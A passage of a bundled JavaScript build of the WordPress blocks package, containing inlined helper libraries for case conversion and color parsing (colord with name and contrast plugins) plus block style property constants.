4485 txt = txt.replace(/^ {0,3}\[([\S \t]*?)]:/gm, "\\[$1]:");
4486 return txt;
4487 });
4488 var root = this;
4489 if (typeof define === "function" && define.amd) {
4490 define(function() {
4491 "use strict";
4492 return showdown2;
4493 });
4494 } else if (typeof module !== "undefined" && module.exports) {
4495 module.exports = showdown2;
4496 } else {
4497 root.showdown = showdown2;
4498 }
4499 }).call(exports);
4500 }
4501 });
4502
4503 // packages/blocks/build-module/index.mjs
4504 var index_exports = {};
4505 __export(index_exports, {
4506 __EXPERIMENTAL_ELEMENTS: () => __EXPERIMENTAL_ELEMENTS,
4507 __EXPERIMENTAL_PATHS_WITH_OVERRIDE: () => __EXPERIMENTAL_PATHS_WITH_OVERRIDE,
4508 __EXPERIMENTAL_STYLE_PROPERTY: () => __EXPERIMENTAL_STYLE_PROPERTY,
4509 __experimentalCloneSanitizedBlock: () => __experimentalCloneSanitizedBlock,
4510 __experimentalGetAccessibleBlockLabel: () => getAccessibleBlockLabel,
4511 __experimentalGetBlockAttributesNamesByRole: () => __experimentalGetBlockAttributesNamesByRole,
4512 __experimentalGetBlockLabel: () => getBlockLabel,
4513 __experimentalSanitizeBlockAttributes: () => __experimentalSanitizeBlockAttributes,
4514 __unstableGetBlockProps: () => getBlockProps,
4515 __unstableGetInnerBlocksProps: () => getInnerBlocksProps,
4516 __unstableSerializeAndClean: () => __unstableSerializeAndClean,
4517 children: () => children_default,
4518 cloneBlock: () => cloneBlock,
4519 createBlock: () => createBlock,
4520 createBlocksFromInnerBlocksTemplate: () => createBlocksFromInnerBlocksTemplate,
4521 doBlocksMatchTemplate: () => doBlocksMatchTemplate,
4522 findTransform: () => findTransform,
4523 getBlockAttributes: () => getBlockAttributes,
4524 getBlockAttributesNamesByRole: () => getBlockAttributesNamesByRole,
4525 getBlockBindingsSource: () => getBlockBindingsSource,
4526 getBlockBindingsSources: () => getBlockBindingsSources,
4527 getBlockContent: () => getBlockInnerHTML,
4528 getBlockDefaultClassName: () => getBlockDefaultClassName,
4529 getBlockFromExample: () => getBlockFromExample,
4530 getBlockMenuDefaultClassName: () => getBlockMenuDefaultClassName,
4531 getBlockSupport: () => getBlockSupport,
4532 getBlockTransforms: () => getBlockTransforms,
4533 getBlockType: () => getBlockType,
4534 getBlockTypes: () => getBlockTypes,
4535 getBlockVariations: () => getBlockVariations,
4536 getCategories: () => getCategories2,
4537 getChildBlockNames: () => getChildBlockNames,
4538 getDefaultBlockName: () => getDefaultBlockName,
4539 getFreeformContentHandlerName: () => getFreeformContentHandlerName,
4540 getGroupingBlockName: () => getGroupingBlockName,
4541 getPhrasingContentSchema: () => deprecatedGetPhrasingContentSchema,
4542 getPossibleBlockTransformations: () => getPossibleBlockTransformations,
4543 getSaveContent: () => getSaveContent,
4544 getSaveElement: () => getSaveElement,
4545 getUnregisteredTypeHandlerName: () => getUnregisteredTypeHandlerName,
4546 hasBlockSupport: () => hasBlockSupport,
4547 hasChildBlocks: () => hasChildBlocks,
4548 hasChildBlocksWithInserterSupport: () => hasChildBlocksWithInserterSupport,
4549 isReusableBlock: () => isReusableBlock,
4550 isTemplatePart: () => isTemplatePart,
4551 isUnmodifiedBlock: () => isUnmodifiedBlock,
4552 isUnmodifiedDefaultBlock: () => isUnmodifiedDefaultBlock,
4553 isValidBlockContent: () => isValidBlockContent,
4554 isValidIcon: () => isValidIcon,
4555 node: () => node_default,
4556 normalizeIconObject: () => normalizeIconObject,
4557 parse: () => parse2,
4558 parseWithAttributeSchema: () => parseWithAttributeSchema,
4559 pasteHandler: () => pasteHandler,
4560 privateApis: () => privateApis,
4561 rawHandler: () => rawHandler,
4562 registerBlockBindingsSource: () => registerBlockBindingsSource,
4563 registerBlockCollection: () => registerBlockCollection,
4564 registerBlockStyle: () => registerBlockStyle,
4565 registerBlockType: () => registerBlockType,
4566 registerBlockVariation: () => registerBlockVariation,
4567 serialize: () => serialize,
4568 serializeRawBlock: () => serializeRawBlock,
4569 setCategories: () => setCategories2,
4570 setDefaultBlockName: () => setDefaultBlockName,
4571 setFreeformContentHandlerName: () => setFreeformContentHandlerName,
4572 setGroupingBlockName: () => setGroupingBlockName,
4573 setUnregisteredTypeHandlerName: () => setUnregisteredTypeHandlerName,
4574 store: () => store,
4575 switchToBlockType: () => switchToBlockType,
4576 synchronizeBlocksWithTemplate: () => synchronizeBlocksWithTemplate,
4577 unregisterBlockBindingsSource: () => unregisterBlockBindingsSource,
4578 unregisterBlockStyle: () => unregisterBlockStyle,
4579 unregisterBlockType: () => unregisterBlockType,
4580 unregisterBlockVariation: () => unregisterBlockVariation,
4581 unstable__bootstrapServerSideBlockDefinitions: () => unstable__bootstrapServerSideBlockDefinitions,
4582 updateCategory: () => updateCategory2,
4583 validateBlock: () => validateBlock,
4584 withBlockContentContext: () => withBlockContentContext
4585 });
4586
4587 // packages/blocks/build-module/store/index.mjs
4588 var import_data5 = __toESM(require_data(), 1);
4589
4590 // node_modules/tslib/tslib.es6.mjs
4591 var __assign = function() {
4592 __assign = Object.assign || function __assign2(t3) {
4593 for (var s2, i2 = 1, n2 = arguments.length; i2 < n2; i2++) {
4594 s2 = arguments[i2];
4595 for (var p2 in s2) if (Object.prototype.hasOwnProperty.call(s2, p2)) t3[p2] = s2[p2];
4596 }
4597 return t3;
4598 };
4599 return __assign.apply(this, arguments);
4600 };
4601
4602 // node_modules/lower-case/dist.es2015/index.js
4603 function lowerCase(str) {
4604 return str.toLowerCase();
4605 }
4606
4607 // node_modules/no-case/dist.es2015/index.js
4608 var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g];
4609 var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi;
4610 function noCase(input, options) {
4611 if (options === void 0) {
4612 options = {};
4613 }
4614 var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lowerCase : _c, _d = options.delimiter, delimiter = _d === void 0 ? " " : _d;
4615 var result = replace(replace(input, splitRegexp, "$1\0$2"), stripRegexp, "\0");
4616 var start = 0;
4617 var end = result.length;
4618 while (result.charAt(start) === "\0")
4619 start++;
4620 while (result.charAt(end - 1) === "\0")
4621 end--;
4622 return result.slice(start, end).split("\0").map(transform).join(delimiter);
4623 }
4624 function replace(input, re, value) {
4625 if (re instanceof RegExp)
4626 return input.replace(re, value);
4627 return re.reduce(function(input2, re2) {
4628 return input2.replace(re2, value);
4629 }, input);
4630 }
4631
4632 // node_modules/pascal-case/dist.es2015/index.js
4633 function pascalCaseTransform(input, index) {
4634 var firstChar = input.charAt(0);
4635 var lowerChars = input.substr(1).toLowerCase();
4636 if (index > 0 && firstChar >= "0" && firstChar <= "9") {
4637 return "_" + firstChar + lowerChars;
4638 }
4639 return "" + firstChar.toUpperCase() + lowerChars;
4640 }
4641 function pascalCase(input, options) {
4642 if (options === void 0) {
4643 options = {};
4644 }
4645 return noCase(input, __assign({ delimiter: "", transform: pascalCaseTransform }, options));
4646 }
4647
4648 // node_modules/camel-case/dist.es2015/index.js
4649 function camelCaseTransform(input, index) {
4650 if (index === 0)
4651 return input.toLowerCase();
4652 return pascalCaseTransform(input, index);
4653 }
4654 function camelCase(input, options) {
4655 if (options === void 0) {
4656 options = {};
4657 }
4658 return pascalCase(input, __assign({ transform: camelCaseTransform }, options));
4659 }
4660
4661 // packages/blocks/build-module/store/reducer.mjs
4662 var import_data2 = __toESM(require_data(), 1);
4663 var import_i18n3 = __toESM(require_i18n(), 1);
4664
4665 // node_modules/colord/index.mjs
4666 var r = { grad: 0.9, turn: 360, rad: 360 / (2 * Math.PI) };
4667 var t = function(r2) {
4668 return "string" == typeof r2 ? r2.length > 0 : "number" == typeof r2;
4669 };
4670 var n = function(r2, t3, n2) {
4671 return void 0 === t3 && (t3 = 0), void 0 === n2 && (n2 = Math.pow(10, t3)), Math.round(n2 * r2) / n2 + 0;
4672 };
4673 var e = function(r2, t3, n2) {
4674 return void 0 === t3 && (t3 = 0), void 0 === n2 && (n2 = 1), r2 > n2 ? n2 : r2 > t3 ? r2 : t3;
4675 };
4676 var u = function(r2) {
4677 return (r2 = isFinite(r2) ? r2 % 360 : 0) > 0 ? r2 : r2 + 360;
4678 };
4679 var a = function(r2) {
4680 return { r: e(r2.r, 0, 255), g: e(r2.g, 0, 255), b: e(r2.b, 0, 255), a: e(r2.a) };
4681 };
4682 var o = function(r2) {
4683 return { r: n(r2.r), g: n(r2.g), b: n(r2.b), a: n(r2.a, 3) };
4684 };
4685 var i = /^#([0-9a-f]{3,8})$/i;
4686 var s = function(r2) {
4687 var t3 = r2.toString(16);
4688 return t3.length < 2 ? "0" + t3 : t3;
4689 };
4690 var h = function(r2) {
4691 var t3 = r2.r, n2 = r2.g, e2 = r2.b, u2 = r2.a, a2 = Math.max(t3, n2, e2), o3 = a2 - Math.min(t3, n2, e2), i2 = o3 ? a2 === t3 ? (n2 - e2) / o3 : a2 === n2 ? 2 + (e2 - t3) / o3 : 4 + (t3 - n2) / o3 : 0;
4692 return { h: 60 * (i2 < 0 ? i2 + 6 : i2), s: a2 ? o3 / a2 * 100 : 0, v: a2 / 255 * 100, a: u2 };
4693 };
4694 var b = function(r2) {
4695 var t3 = r2.h, n2 = r2.s, e2 = r2.v, u2 = r2.a;
4696 t3 = t3 / 360 * 6, n2 /= 100, e2 /= 100;
4697 var a2 = Math.floor(t3), o3 = e2 * (1 - n2), i2 = e2 * (1 - (t3 - a2) * n2), s2 = e2 * (1 - (1 - t3 + a2) * n2), h2 = a2 % 6;
4698 return { r: 255 * [e2, i2, o3, o3, s2, e2][h2], g: 255 * [s2, e2, e2, i2, o3, o3][h2], b: 255 * [o3, o3, s2, e2, e2, i2][h2], a: u2 };
4699 };
4700 var g = function(r2) {
4701 return { h: u(r2.h), s: e(r2.s, 0, 100), l: e(r2.l, 0, 100), a: e(r2.a) };
4702 };
4703 var d = function(r2) {
4704 return { h: n(r2.h), s: n(r2.s), l: n(r2.l), a: n(r2.a, 3) };
4705 };
4706 var f = function(r2) {
4707 return b((n2 = (t3 = r2).s, { h: t3.h, s: (n2 *= ((e2 = t3.l) < 50 ? e2 : 100 - e2) / 100) > 0 ? 2 * n2 / (e2 + n2) * 100 : 0, v: e2 + n2, a: t3.a }));
4708 var t3, n2, e2;
4709 };
4710 var c = function(r2) {
4711 return { h: (t3 = h(r2)).h, s: (u2 = (200 - (n2 = t3.s)) * (e2 = t3.v) / 100) > 0 && u2 < 200 ? n2 * e2 / 100 / (u2 <= 100 ? u2 : 200 - u2) * 100 : 0, l: u2 / 2, a: t3.a };
4712 var t3, n2, e2, u2;
4713 };
4714 var l = /^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s*,\s*([+-]?\d*\.?\d+)%\s*,\s*([+-]?\d*\.?\d+)%\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i;
4715 var p = /^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s+([+-]?\d*\.?\d+)%\s+([+-]?\d*\.?\d+)%\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i;
4716 var v = /^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i;
4717 var m = /^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i;
4718 var y = { string: [[function(r2) {
4719 var t3 = i.exec(r2);
4720 return t3 ? (r2 = t3[1]).length <= 4 ? { r: parseInt(r2[0] + r2[0], 16), g: parseInt(r2[1] + r2[1], 16), b: parseInt(r2[2] + r2[2], 16), a: 4 === r2.length ? n(parseInt(r2[3] + r2[3], 16) / 255, 2) : 1 } : 6 === r2.length || 8 === r2.length ? { r: parseInt(r2.substr(0, 2), 16), g: parseInt(r2.substr(2, 2), 16), b: parseInt(r2.substr(4, 2), 16), a: 8 === r2.length ? n(parseInt(r2.substr(6, 2), 16) / 255, 2) : 1 } : null : null;
4721 }, "hex"], [function(r2) {
4722 var t3 = v.exec(r2) || m.exec(r2);
4723 return t3 ? t3[2] !== t3[4] || t3[4] !== t3[6] ? null : a({ r: Number(t3[1]) / (t3[2] ? 100 / 255 : 1), g: Number(t3[3]) / (t3[4] ? 100 / 255 : 1), b: Number(t3[5]) / (t3[6] ? 100 / 255 : 1), a: void 0 === t3[7] ? 1 : Number(t3[7]) / (t3[8] ? 100 : 1) }) : null;
4724 }, "rgb"], [function(t3) {
4725 var n2 = l.exec(t3) || p.exec(t3);
4726 if (!n2) return null;
4727 var e2, u2, a2 = g({ h: (e2 = n2[1], u2 = n2[2], void 0 === u2 && (u2 = "deg"), Number(e2) * (r[u2] || 1)), s: Number(n2[3]), l: Number(n2[4]), a: void 0 === n2[5] ? 1 : Number(n2[5]) / (n2[6] ? 100 : 1) });
4728 return f(a2);
4729 }, "hsl"]], object: [[function(r2) {
4730 var n2 = r2.r, e2 = r2.g, u2 = r2.b, o3 = r2.a, i2 = void 0 === o3 ? 1 : o3;
4731 return t(n2) && t(e2) && t(u2) ? a({ r: Number(n2), g: Number(e2), b: Number(u2), a: Number(i2) }) : null;
4732 }, "rgb"], [function(r2) {
4733 var n2 = r2.h, e2 = r2.s, u2 = r2.l, a2 = r2.a, o3 = void 0 === a2 ? 1 : a2;
4734 if (!t(n2) || !t(e2) || !t(u2)) return null;
4735 var i2 = g({ h: Number(n2), s: Number(e2), l: Number(u2), a: Number(o3) });
4736 return f(i2);
4737 }, "hsl"], [function(r2) {
4738 var n2 = r2.h, a2 = r2.s, o3 = r2.v, i2 = r2.a, s2 = void 0 === i2 ? 1 : i2;
4739 if (!t(n2) || !t(a2) || !t(o3)) return null;
4740 var h2 = (function(r3) {
4741 return { h: u(r3.h), s: e(r3.s, 0, 100), v: e(r3.v, 0, 100), a: e(r3.a) };
4742 })({ h: Number(n2), s: Number(a2), v: Number(o3), a: Number(s2) });
4743 return b(h2);
4744 }, "hsv"]] };
4745 var N = function(r2, t3) {
4746 for (var n2 = 0; n2 < t3.length; n2++) {
4747 var e2 = t3[n2][0](r2);
4748 if (e2) return [e2, t3[n2][1]];
4749 }
4750 return [null, void 0];
4751 };
4752 var x = function(r2) {
4753 return "string" == typeof r2 ? N(r2.trim(), y.string) : "object" == typeof r2 && null !== r2 ? N(r2, y.object) : [null, void 0];
4754 };
4755 var M = function(r2, t3) {
4756 var n2 = c(r2);
4757 return { h: n2.h, s: e(n2.s + 100 * t3, 0, 100), l: n2.l, a: n2.a };
4758 };
4759 var H = function(r2) {
4760 return (299 * r2.r + 587 * r2.g + 114 * r2.b) / 1e3 / 255;
4761 };
4762 var $ = function(r2, t3) {
4763 var n2 = c(r2);
4764 return { h: n2.h, s: n2.s, l: e(n2.l + 100 * t3, 0, 100), a: n2.a };
4765 };
4766 var j = (function() {
4767 function r2(r3) {
4768 this.parsed = x(r3)[0], this.rgba = this.parsed || { r: 0, g: 0, b: 0, a: 1 };
4769 }
4770 return r2.prototype.isValid = function() {
4771 return null !== this.parsed;
4772 }, r2.prototype.brightness = function() {
4773 return n(H(this.rgba), 2);
4774 }, r2.prototype.isDark = function() {
4775 return H(this.rgba) < 0.5;
4776 }, r2.prototype.isLight = function() {
4777 return H(this.rgba) >= 0.5;
4778 }, r2.prototype.toHex = function() {
4779 return r3 = o(this.rgba), t3 = r3.r, e2 = r3.g, u2 = r3.b, i2 = (a2 = r3.a) < 1 ? s(n(255 * a2)) : "", "#" + s(t3) + s(e2) + s(u2) + i2;
4780 var r3, t3, e2, u2, a2, i2;
4781 }, r2.prototype.toRgb = function() {
4782 return o(this.rgba);
4783 }, r2.prototype.toRgbString = function() {
4784 return r3 = o(this.rgba), t3 = r3.r, n2 = r3.g, e2 = r3.b, (u2 = r3.a) < 1 ? "rgba(" + t3 + ", " + n2 + ", " + e2 + ", " + u2 + ")" : "rgb(" + t3 + ", " + n2 + ", " + e2 + ")";
4785 var r3, t3, n2, e2, u2;
4786 }, r2.prototype.toHsl = function() {
4787 return d(c(this.rgba));
4788 }, r2.prototype.toHslString = function() {
4789 return r3 = d(c(this.rgba)), t3 = r3.h, n2 = r3.s, e2 = r3.l, (u2 = r3.a) < 1 ? "hsla(" + t3 + ", " + n2 + "%, " + e2 + "%, " + u2 + ")" : "hsl(" + t3 + ", " + n2 + "%, " + e2 + "%)";
4790 var r3, t3, n2, e2, u2;
4791 }, r2.prototype.toHsv = function() {
4792 return r3 = h(this.rgba), { h: n(r3.h), s: n(r3.s), v: n(r3.v), a: n(r3.a, 3) };
4793 var r3;
4794 }, r2.prototype.invert = function() {
4795 return w({ r: 255 - (r3 = this.rgba).r, g: 255 - r3.g, b: 255 - r3.b, a: r3.a });
4796 var r3;
4797 }, r2.prototype.saturate = function(r3) {
4798 return void 0 === r3 && (r3 = 0.1), w(M(this.rgba, r3));
4799 }, r2.prototype.desaturate = function(r3) {
4800 return void 0 === r3 && (r3 = 0.1), w(M(this.rgba, -r3));
4801 }, r2.prototype.grayscale = function() {
4802 return w(M(this.rgba, -1));
4803 }, r2.prototype.lighten = function(r3) {
4804 return void 0 === r3 && (r3 = 0.1), w($(this.rgba, r3));
4805 }, r2.prototype.darken = function(r3) {
4806 return void 0 === r3 && (r3 = 0.1), w($(this.rgba, -r3));
4807 }, r2.prototype.rotate = function(r3) {
4808 return void 0 === r3 && (r3 = 15), this.hue(this.hue() + r3);
4809 }, r2.prototype.alpha = function(r3) {
4810 return "number" == typeof r3 ? w({ r: (t3 = this.rgba).r, g: t3.g, b: t3.b, a: r3 }) : n(this.rgba.a, 3);
4811 var t3;
4812 }, r2.prototype.hue = function(r3) {
4813 var t3 = c(this.rgba);
4814 return "number" == typeof r3 ? w({ h: r3, s: t3.s, l: t3.l, a: t3.a }) : n(t3.h);
4815 }, r2.prototype.isEqual = function(r3) {
4816 return this.toHex() === w(r3).toHex();
4817 }, r2;
4818 })();
4819 var w = function(r2) {
4820 return r2 instanceof j ? r2 : new j(r2);
4821 };
4822 var S = [];
4823 var k = function(r2) {
4824 r2.forEach(function(r3) {
4825 S.indexOf(r3) < 0 && (r3(j, y), S.push(r3));
4826 });
4827 };
4828
4829 // node_modules/colord/plugins/names.mjs
4830 function names_default(e2, f2) {
4831 var a2 = { white: "#ffffff", bisque: "#ffe4c4", blue: "#0000ff", cadetblue: "#5f9ea0", chartreuse: "#7fff00", chocolate: "#d2691e", coral: "#ff7f50", antiquewhite: "#faebd7", aqua: "#00ffff", azure: "#f0ffff", whitesmoke: "#f5f5f5", papayawhip: "#ffefd5", plum: "#dda0dd", blanchedalmond: "#ffebcd", black: "#000000", gold: "#ffd700", goldenrod: "#daa520", gainsboro: "#dcdcdc", cornsilk: "#fff8dc", cornflowerblue: "#6495ed", burlywood: "#deb887", aquamarine: "#7fffd4", beige: "#f5f5dc", crimson: "#dc143c", cyan: "#00ffff", darkblue: "#00008b", darkcyan: "#008b8b", darkgoldenrod: "#b8860b", darkkhaki: "#bdb76b", darkgray: "#a9a9a9", darkgreen: "#006400", darkgrey: "#a9a9a9", peachpuff: "#ffdab9", darkmagenta: "#8b008b", darkred: "#8b0000", darkorchid: "#9932cc", darkorange: "#ff8c00", darkslateblue: "#483d8b", gray: "#808080", darkslategray: "#2f4f4f", darkslategrey: "#2f4f4f", deeppink: "#ff1493", deepskyblue: "#00bfff", wheat: "#f5deb3", firebrick: "#b22222", floralwhite: "#fffaf0", ghostwhite: "#f8f8ff", darkviolet: "#9400d3", magenta: "#ff00ff", green: "#008000", dodgerblue: "#1e90ff", grey: "#808080", honeydew: "#f0fff0", hotpink: "#ff69b4", blueviolet: "#8a2be2", forestgreen: "#228b22", lawngreen: "#7cfc00", indianred: "#cd5c5c", indigo: "#4b0082", fuchsia: "#ff00ff", brown: "#a52a2a", maroon: "#800000", mediumblue: "#0000cd", lightcoral: "#f08080", darkturquoise: "#00ced1", lightcyan: "#e0ffff", ivory: "#fffff0", lightyellow: "#ffffe0", lightsalmon: "#ffa07a", lightseagreen: "#20b2aa", linen: "#faf0e6", mediumaquamarine: "#66cdaa", lemonchiffon: "#fffacd", lime: "#00ff00", khaki: "#f0e68c", mediumseagreen: "#3cb371", limegreen: "#32cd32", mediumspringgreen: "#00fa9a", lightskyblue: "#87cefa", lightblue: "#add8e6", midnightblue: "#191970", lightpink: "#ffb6c1", mistyrose: "#ffe4e1", moccasin: "#ffe4b5", mintcream: "#f5fffa", lightslategray: "#778899", lightslategrey: "#778899", navajowhite: "#ffdead", navy: "#000080", mediumvioletred: "#c71585", powderblue: "#b0e0e6", palegoldenrod: "#eee8aa", oldlace: "#fdf5e6", paleturquoise: "#afeeee", mediumturquoise: "#48d1cc", mediumorchid: "#ba55d3", rebeccapurple: "#663399", lightsteelblue: "#b0c4de", mediumslateblue: "#7b68ee", thistle: "#d8bfd8", tan: "#d2b48c", orchid: "#da70d6", mediumpurple: "#9370db", purple: "#800080", pink: "#ffc0cb", skyblue: "#87ceeb", springgreen: "#00ff7f", palegreen: "#98fb98", red: "#ff0000", yellow: "#ffff00", slateblue: "#6a5acd", lavenderblush: "#fff0f5", peru: "#cd853f", palevioletred: "#db7093", violet: "#ee82ee", teal: "#008080", slategray: "#708090", slategrey: "#708090", aliceblue: "#f0f8ff", darkseagreen: "#8fbc8f", darkolivegreen: "#556b2f", greenyellow: "#adff2f", seagreen: "#2e8b57", seashell: "#fff5ee", tomato: "#ff6347", silver: "#c0c0c0", sienna: "#a0522d", lavender: "#e6e6fa", lightgreen: "#90ee90", orange: "#ffa500", orangered: "#ff4500", steelblue: "#4682b4", royalblue: "#4169e1", turquoise: "#40e0d0", yellowgreen: "#9acd32", salmon: "#fa8072", saddlebrown: "#8b4513", sandybrown: "#f4a460", rosybrown: "#bc8f8f", darksalmon: "#e9967a", lightgoldenrodyellow: "#fafad2", snow: "#fffafa", lightgrey: "#d3d3d3", lightgray: "#d3d3d3", dimgray: "#696969", dimgrey: "#696969", olivedrab: "#6b8e23", olive: "#808000" }, r2 = {};
4832 for (var d2 in a2) r2[a2[d2]] = d2;
4833 var l2 = {};
4834 e2.prototype.toName = function(f3) {
4835 if (!(this.rgba.a || this.rgba.r || this.rgba.g || this.rgba.b)) return "transparent";
4836 var d3, i2, n2 = r2[this.toHex()];
4837 if (n2) return n2;
4838 if (null == f3 ? void 0 : f3.closest) {
4839 var o3 = this.toRgb(), t3 = 1 / 0, b2 = "black";
4840 if (!l2.length) for (var c2 in a2) l2[c2] = new e2(a2[c2]).toRgb();
4841 for (var g2 in a2) {
4842 var u2 = (d3 = o3, i2 = l2[g2], Math.pow(d3.r - i2.r, 2) + Math.pow(d3.g - i2.g, 2) + Math.pow(d3.b - i2.b, 2));
4843 u2 < t3 && (t3 = u2, b2 = g2);
4844 }
4845 return b2;
4846 }
4847 };
4848 f2.string.push([function(f3) {
4849 var r3 = f3.toLowerCase(), d3 = "transparent" === r3 ? "#0000" : a2[r3];
4850 return d3 ? new e2(d3).toRgb() : null;
4851 }, "name"]);
4852 }
4853
4854 // node_modules/colord/plugins/a11y.mjs
4855 var o2 = function(o3) {
4856 var t3 = o3 / 255;
4857 return t3 < 0.04045 ? t3 / 12.92 : Math.pow((t3 + 0.055) / 1.055, 2.4);
4858 };
4859 var t2 = function(t3) {
4860 return 0.2126 * o2(t3.r) + 0.7152 * o2(t3.g) + 0.0722 * o2(t3.b);
4861 };
4862 function a11y_default(o3) {
4863 o3.prototype.luminance = function() {
4864 return o4 = t2(this.rgba), void 0 === (r2 = 2) && (r2 = 0), void 0 === n2 && (n2 = Math.pow(10, r2)), Math.round(n2 * o4) / n2 + 0;
4865 var o4, r2, n2;
4866 }, o3.prototype.contrast = function(r2) {
4867 void 0 === r2 && (r2 = "#FFF");
4868 var n2, a2, i2, e2, v2, u2, d2, c2 = r2 instanceof o3 ? r2 : new o3(r2);
4869 return e2 = this.rgba, v2 = c2.toRgb(), u2 = t2(e2), d2 = t2(v2), n2 = u2 > d2 ? (u2 + 0.05) / (d2 + 0.05) : (d2 + 0.05) / (u2 + 0.05), void 0 === (a2 = 2) && (a2 = 0), void 0 === i2 && (i2 = Math.pow(10, a2)), Math.floor(i2 * n2) / i2 + 0;
4870 }, o3.prototype.isReadable = function(o4, t3) {
4871 return void 0 === o4 && (o4 = "#FFF"), void 0 === t3 && (t3 = {}), this.contrast(o4) >= (e2 = void 0 === (i2 = (r2 = t3).size) ? "normal" : i2, "AAA" === (a2 = void 0 === (n2 = r2.level) ? "AA" : n2) && "normal" === e2 ? 7 : "AA" === a2 && "large" === e2 ? 3 : 4.5);
4872 var r2, n2, a2, i2, e2;
4873 };
4874 }
4875
4876 // packages/blocks/build-module/api/utils.mjs
4877 var import_element = __toESM(require_element(), 1);
4878 var import_i18n2 = __toESM(require_i18n(), 1);
4879 var import_dom = __toESM(require_dom(), 1);
4880 var import_rich_text = __toESM(require_rich_text(), 1);
4881 var import_deprecated = __toESM(require_deprecated(), 1);
4882
4883 // packages/blocks/build-module/api/constants.mjs
4884 var BLOCK_ICON_DEFAULT = "block-default";
4885 var DEPRECATED_ENTRY_KEYS = [
4886 "attributes",
4887 "supports",
4888 "save",
4889 "migrate",
4890 "isEligible",
4891 "apiVersion"
4892 ];
4893 var __EXPERIMENTAL_STYLE_PROPERTY = {
4894 // Kept for back-compatibility purposes.
4895 "--wp--style--color--link": {
4896 value: ["color", "link"],
4897 support: ["color", "link"]
4898 },
4899 aspectRatio: {
4900 value: ["dimensions", "aspectRatio"],
4901 support: ["dimensions", "aspectRatio"],
4902 useEngine: true
4903 },
4904 background: {
4905 value: ["color", "gradient"],
4906 support: ["color", "gradients"],
4907 useEngine: true
4908 },
4909 backgroundColor: {
4910 value: ["color", "background"],
4911 support: ["color", "background"],
4912 requiresOptOut: true,
4913 useEngine: true
4914 },
4915 backgroundImage: {
4916 value: ["background", "backgroundImage"],
4917 support: ["background", "backgroundImage"],
4918 useEngine: true
4919 },
4920 backgroundRepeat: {
4921 value: ["background", "backgroundRepeat"],
4922 support: ["background", "backgroundRepeat"],
4923 useEngine: true
4924 },
4925 backgroundSize: {
4926 value: ["background", "backgroundSize"],
4927 support: ["background", "backgroundSize"],
4928 useEngine: true
4929 },
4930 backgroundPosition: {
4931 value: ["background", "backgroundPosition"],
4932 support: ["background", "backgroundPosition"],
4933 useEngine: true
4934 },
4935 borderColor: {
4936 value: ["border", "color"],
4937 support: ["__experimentalBorder", "color"],
4938 useEngine: true
4939 },
4940 borderRadius: {
4941 value: ["border", "radius"],
4942 support: ["__experimentalBorder", "radius"],
4943 properties: {
4944 borderTopLeftRadius: "topLeft",
4945 borderTopRightRadius: "topRight",
4946 borderBottomLeftRadius: "bottomLeft",
4947 borderBottomRightRadius: "bottomRight"
4948 },
4949 useEngine: true
4950 },
4951 borderStyle: {
4952 value: ["border", "style"],
4953 support: ["__experimentalBorder", "style"],
4954 useEngine: true
4955 },
4956 borderWidth: {
4957 value: ["border", "width"],
4958 support: ["__experimentalBorder", "width"],
4959 useEngine: true
4960 },
4961 borderTopColor: {
4962 value: ["border", "top", "color"],
4963 support: ["__experimentalBorder", "color"],
4964 useEngine: true
4965 },
4966 borderTopStyle: {
4967 value: ["border", "top", "style"],
4968 support: ["__experimentalBorder", "style"],
4969 useEngine: true
4970 },
4971 borderTopWidth: {
4972 value: ["border", "top", "width"],
4973 support: ["__experimentalBorder", "width"],
4974 useEngine: true
4975 },
4976 borderRightColor: {
4977 value: ["border", "right", "color"],
4978 support: ["__experimentalBorder", "color"],
4979 useEngine: true
4980 },
4981 borderRightStyle: {
4982 value: ["border", "right", "style"],
4983 support: ["__experimentalBorder", "style"],
4984 useEngine: true
4985 },
4986 borderRightWidth: {
4987 value: ["border", "right", "width"],
4988 support: ["__experimentalBorder", "width"],
4989 useEngine: true
4990 },
4991 borderBottomColor: {
4992 value: ["border", "bottom", "color"],
4993 support: ["__experimentalBorder", "color"],
4994 useEngine: true
4995 },
4996 borderBottomStyle: {
4997 value: ["border", "bottom", "style"],
4998 support: ["__experimentalBorder", "style"],
4999 useEngine: true
5000 },
5001 borderBottomWidth: {
5002 value: ["border", "bottom", "width"],
5003 support: ["__experimentalBorder", "width"],
5004 useEngine: true
5005 },
5006 borderLeftColor: {
5007 value: ["border", "left", "color"],
5008 support: ["__experimentalBorder", "color"],
5009 useEngine: true
5010 },
5011 borderLeftStyle: {
5012 value: ["border", "left", "style"],
5013 support: ["__experimentalBorder", "style"],
5014 useEngine: true
5015 },
5016 borderLeftWidth: {
5017 value: ["border", "left", "width"],
5018 support: ["__experimentalBorder", "width"],
5019 useEngine: true
5020 },
5021 color: {
5022 value: ["color", "text"],
5023 support: ["color", "text"],
5024 requiresOptOut: true,
5025 useEngine: true
5026 },
5027 columnCount: {
5028 value: ["typography", "textColumns"],
5029 support: ["typography", "textColumns"],
5030 useEngine: true
5031 },
5032 filter: {
5033 value: ["filter", "duotone"],
5034 support: ["filter", "duotone"]
5035 },
5036 linkColor: {
5037 value: ["elements", "link", "color", "text"],
5038 support: ["color", "link"]
5039 },
5040 captionColor: {
5041 value: ["elements", "caption", "color", "text"],
5042 support: ["color", "caption"]
5043 },
5044 buttonColor: {
5045 value: ["elements", "button", "color", "text"],
5046 support: ["color", "button"]
5047 },
5048 buttonBackgroundColor: {
5049 value: ["elements", "button", "color", "background"],
5050 support: ["color", "button"]
